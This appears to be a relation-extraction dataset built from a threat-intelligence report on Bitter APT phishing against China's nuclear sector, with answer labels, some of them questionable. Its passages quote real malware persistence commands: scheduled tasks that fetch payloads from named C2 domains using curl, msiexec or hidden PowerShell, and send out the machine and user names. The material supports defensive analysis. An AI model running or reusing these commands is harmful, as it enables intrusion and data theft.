### Target Entity: PowerShell
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Microsoft Office
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: United Front Work Department
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: C2
### Possible Relationship Labels:
['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>owns</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
PowerShell
### Target Entity: Windows
### Possible Relationship Labels:
['targets', 'uses', 'is not related to', 'not sure']
### Text Passage:
### **CHM Files**
The more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.
The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.
```
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart" /ft
```
We did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.
Figure 5: Empty payloads served from different C2 servers
This may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.
The second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.
Figure 6: Encoded PowerShell command in version 2 of the CHM files
The decoded command is the following:
```
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f
```
It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when opened:
Figure 7: Decoy picture
The decoy appears to reference the United Front Work Department of the Central Committee of the Chinese Communist Party. The following is a machine translated version of the same picture for reference (please note that the translation will not be fully accurate and should be used for reference purposes only):
Figure 8: Machine translated version of the decoy
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Excel
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
### **Malicious Microsoft Excel** Files
The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.
```
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 15 /TN \Windows\DWM\DWMCORE /TR "cmd /c start /min curl --output %AppData%\dwmcor.exe -O ""https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT""" /f
```
!Image 4
Figure 4: Scheduled task
The second scheduled task created attempts to execute the payload downloaded by the other task:
```
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 20 /TN \Windows\DWM\DWMCORELIB /TR "%AppData%\dwmcor.exe" /f
```
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Equation Editor
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
### **Malicious Microsoft Excel** Files
The Excel payloads simply contain an Equation Editor exploit that creates two different scheduled tasks. There is no decoy in the document. One scheduled task (shown below) runs every 15 minutes, to download a next stage EXE payload using cURL, also sending the actor the name of the infected machine. These tactics have been observed being used by Bitter APT in 2021/2022.
```
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 15 /TN \Windows\DWM\DWMCORE /TR "cmd /c start /min curl --output %AppData%\dwmcor.exe -O ""https://qwavemediaservice.net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT""" /f
```
!Image 4
Figure 4: Scheduled task
The second scheduled task created attempts to execute the payload downloaded by the other task:
```
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 20 /TN \Windows\DWM\DWMCORELIB /TR "%AppData%\dwmcor.exe" /f
```
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: China
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Ministry of Foreign Affairs
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: IAEA
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: CIIS
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Excel
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Kyrgyzstan
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Embassy of Kyrgyzstan
### Possible Relationship Labels:
['targets', 'impersonates', 'attributed-to', 'is not related to', 'not sure']
### Text Passage:
Analysis of Phishing Lures and Payloads
We identified seven emails pretending to be from the Embassy of Kyrgyzstan, being sent to recipients in the nuclear energy industry in China. In some emails, people and entities in academia are also targeted, also related to nuclear energy. The phishing emails contain a lure that invites the recipients to join conferences on subjects that are relevant to them. The lures are designed to socially engineer the recipient to download and open an attached RAR file that contains either a Microsoft Compiled HTML Help (CHM) or Excel payload. This activity appears to be a continuation of the tactics and campaign that Bitter APT have been using since at least 2021.
Figure 1: Attack flow described in this research
The emails contain a number of social engineering techniques. The name and email address used to send the phishing emails is crafted to look like it is coming from an “Embassy in Beijing.” A free email provider is used, therefore domain reputation checks will not be useful.
Figure 2: Name crafted to appear as communication from an embassy
The email is signed off with the name and details of an actual attaché of the Kyrgyz embassy in China. If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email. This is presumably also how the malicious actor was able to get information in order to craft the lure.
The email subject and body use terms and themes that would be familiar with the recipients in governmental and energy sectors, such as International Atomic Energy Agency (IAEA), China Institute of International Studies (CIIS), strategic alliances, and nuclear doctrines.
Figure 3: Email body lure with nuclear themes
|
<label>impersonates</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Msiexec
### Target Entity: C2
### Possible Relationship Labels:
['targets', 'uses', 'is not related to', 'not sure']
### Text Passage:
Mitre ATT&CK
<table><tbody><tr><td><strong>Tactic</strong></td><td><strong>Technique</strong></td><td><strong>ID</strong></td><td><strong>Description</strong></td></tr><tr><td>Reconnaissance</td><td>Email Addresses</td><td><a href="https://attack.mitre.org/techniques/T1589/002/" target="_blank" rel="noreferrer noopener">T1589.002</a></td><td>The actor gathers target email addresses to target with spearphishing emails</td></tr><tr><td>Initial Access</td><td>Spearphishing Attachment</td><td><a href="https://attack.mitre.org/techniques/T1566/001/" target="_blank" rel="noreferrer noopener">T1566.001</a></td><td>Spearphishing is used to deliver RAR attachments</td></tr><tr><td>Execution</td><td>PowerShell</td><td><a href="https://attack.mitre.org/techniques/T1059/001/" target="_blank" rel="noreferrer noopener">T1059.001</a></td><td>Encoded PowerShell is used by CHM payload</td></tr><tr><td>Execution</td><td>Exploitation for Client Execution</td><td><a href="https://attack.mitre.org/techniques/T1203/" target="_blank" rel="noreferrer noopener">T1203</a></td><td>Microsoft Office exploits are used to execute code</td></tr><tr><td>Persistence</td><td>Scheduled Task</td><td><a href="https://attack.mitre.org/techniques/T1053/005/" target="_blank" rel="noreferrer noopener">T1053.005</a></td><td>Scheduled Tasks used for both execution and persistence</td></tr><tr><td>Defense Evasion</td><td>Msiexec</td><td><a href="https://attack.mitre.org/techniques/T1218/007/" target="_blank" rel="noreferrer noopener">T1218.007</a></td><td>Msiexec is used to launch next stage payloads</td></tr><tr><td>Defense Evasion</td><td>Compiled HTML File</td><td><a href="https://attack.mitre.org/techniques/T1218/001/" target="_blank" rel="noreferrer noopener">T1218.001</a></td><td>CHM files are used to deliver payloads</td></tr><tr><td>Defense Evasion</td><td>Masquerading</td><td><a href="https://attack.mitre.org/techniques/T1036/" target="_blank" rel="noreferrer noopener">T1036</a></td><td>Files are masqueraded as legitimate files and scheduled tasks are named after common tasks (eg. Adobe Updater)</td></tr><tr><td>Discovery</td><td>System Information Discovery</td><td><a href="https://attack.mitre.org/techniques/T1082/" target="_blank" rel="noreferrer noopener">T1082</a></td><td>First stage payloads fetch Computer and User names</td></tr><tr><td>Command and Control</td><td>Web Protocols</td><td><a href="https://attack.mitre.org/techniques/T1071/001/" target="_blank" rel="noreferrer noopener">T1071.001</a></td><td>HTTPS is used for C2 communication</td></tr><tr><td>Command and Control</td><td>Exfiltration Over C2 Channel</td><td><a href="https://attack.mitre.org/techniques/T1041/" target="_blank" rel="noreferrer noopener">T1041</a></td><td>Data can be exfiltrated</td></tr></tbody></table>
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Asia-Pacific
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Conclusion
Bitter APT have been conducting espionage campaigns for years using many tactics, including phishing, to achieve their goals. It is advised that entities in government, energy, and engineering especially those in the Asia-Pacific region should remain vigilant when receiving emails, especially those claiming to be from other diplomatic entities. Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.
|
<label>targets</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Bitter APT
### Target Entity: Asia-Pacific
### Possible Relationship Labels:
['targets', 'located-at', 'is not related to', 'not sure']
### Text Passage:
Phishing Campaign Targets Chinese Nuclear Energy Industry
Intezer has been tracking activity targeting the energy sector and noted a campaign with techniques that align with those of Bitter APT operating in the Asia-Pacific region.
We have made the connection to Bitter APT through tactics, techniques, and procedures (TTPs) that have been observed in other publications, such as the use of Microsoft Office exploits through Excel files, and the use of CHM and Windows Installer (MSI) files. Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.
Bitter APT are continuing to target organizations in China in an espionage campaign, as our here research shows. For some of the payloads we have corresponding phishing emails that were used as lures to deliver the files, allowing analysis of the social engineering techniques used. **We have noted updates to the first-stage payloads used, with new layers of obfuscation to hinder analysis and additional decoys used for social engineering.**
|
<label>targets</label>
|
